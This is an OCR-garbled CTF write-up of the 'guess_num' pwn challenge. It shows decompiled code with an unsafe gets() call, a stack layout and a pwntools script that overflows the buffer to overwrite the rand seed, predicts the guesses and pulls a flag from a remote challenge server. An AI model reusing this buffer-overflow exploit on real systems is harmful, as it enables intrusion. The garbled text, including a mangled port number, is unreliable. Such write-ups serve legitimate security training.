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SN/ T 2019-08-11 22:34:51 K Aii 6419 iR 2
LR CTE—Writeup W % 45%%:  CTF PWN Wrieup

B W] ASON TR IR S0, 1845 CC 4.0 BY-SA RN, e #8iif iy L J5 SCH AbBER A 1

A CHERE: https://blog.csdn.net/macro_wing/article/details/99236880
AL

CTF — Writeup LTk % %
4 JH3CE 0T B

VT A

FAEE MR R

FEIXANERE APt A 0 1 AR R (14 A< PH A1 B RS OR (1 — i Ren_ A

IR E — Tl B ZE AR SUAE B R s LS

giantbranch@ubuntu:~/Desktop$ checksec ./guess num
[*] '/home/giantbranch/Desktop/guess_num'

Arch: amd64-64-1ittle

RELRO: Partial RELRO

Stack:

NX:

PIE:
giantbranch@ubuntu:~/Desktops . fguess_num

Please let me know your name!
Your name:aaa
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11| v10 =  readfsqword(@x28u);

12| setbuf(stdin, OLL);
13| setbuf(stdout, @LL);

14| v3 = stderr;

15| setbuf(stderr, OLL);

16| v5 = @;

17 v7 = 8;

18] *( _QWORD *)seed = sub BB@(v3, OLL);

19] puts(™---------mmmm e ");
20| puts("Welcome to a guess number game!™);
21 puts( ------mmmmm e ");

22| puts("Please let me know your name!™);
23| printf("Your name:™);
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© 24) gets((  inte4)&vE);
© 25| srand(seed[@]);
@26 for (1 =0; 1 <=9; ++1 )
27
® 28 v/ =rand() % 6 + 1;
® 29 printf("------------- Turn:%¥d------------- \n", (unsigned int)(i + 1));
® 30 printf("Please input your guess number:™);
® 31 __iso0c99 scanf("%d", &v5);
® 32 puts(™--------m e ");
® 33 if ((vs 1=v7)
34
® 35 puts("GG!");
® 36 exit(1);
37 }
® 38 puts(“Success!™);
39 1}
@ 40| sub C3E();
@ 41) return OLL;
® 421} |
1| _inteé4 sub C3E()
24
® 3| printf("You are a prophet!\nHere is your flag!");
® 4| system("cat flag");
@ 5/ return OLL;
®6)}
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-0000000000000038 var_30 db ?

-00000ERRERRRRO2F db ? ; undefined
-000000000RRRO2E db ? ; undefined
-00eReeREERRREO2D db ? ; undefined
-000ReEREERRRRO2C db ? ; undefined
-000ReEREoRRREO2B db ? ; undefined
-000000000000002A db ? ; undefined
-000ReEREERRRRO29 db ? ; undefined
-000ReEREERRRRO28 db ? ; undefined
-00eReeRRoRRRRO2Y db ? ; undefined
-000000000RRRRO26 db ? ; undefined
-000ReEREERRRRO25 db ? ; undefined
-000ReeeRoReRRe 24 db ? ; undefined
-000ReEREERRRRO23 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-00000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000eeeRE00ARRe1D db ? ; undefined
-000000000000R1C db ? ; undefined
-00000eR0000RRO1B db ? ; undefined
-000000000000001A db ? ; undefined
-00000ER000BRRe19 db ? ; undefined
_ARAAAAAAAAARARATQ dh ? - undafinad
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-0000000000000017 db ? ; undefined
-00000000000A016 dp-? ; undefined
-000000000000015 b ? ; undefined
-0000000000000014 db ? ; undefined
~0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 seed dd 2 dup(?)
-0000000000000008 var 8 dg ?
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giantbranch@ubuntu: $ ldd guess num
linux-vdso.s0.1 => (Ox00087ffeec@bB85008)
libc.so.6 => [lib/x86 64-1linux-gnu/libc.so.6 (0x0PEO7T30028ec000)
J1ib64/1d-1inux-xB6-64.50.2 (Ox0000773002ebbbaa)
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from pwn import *

from ctypes import *

libc = cdll.LoadLibrary("/lib/x86_64-1inux-gnu/libc.s0.6")

#p = process('./guess num')

#elf = ELF('./guess_num')

#libc = elf.libc

p = remote("111.198.29.45", 390815)

payload = 'a' * 0x20 + p64(0)

p-sendlineafter("name:", payload)

libc.srand(1)

for 1 in range(10):
p.sendlineafter("number:", str{libc.rand()%6 + 1))
print(p.recv())

print(p.recv())

D e giantbranch@ubuntu: ~/Desktop

giantbranch@ubuntu:~/Desktops python 2.py

[+] Opening connection to 111.198.29.45 on port 39015: Done

Success!
You are a prophet!
Here is your flag!cyberpeace{36516856f84c2d660fdaf631518c16da}

[#] Closed connection to 111.198.29.45R5dfY0g45le-nelimacro_wing
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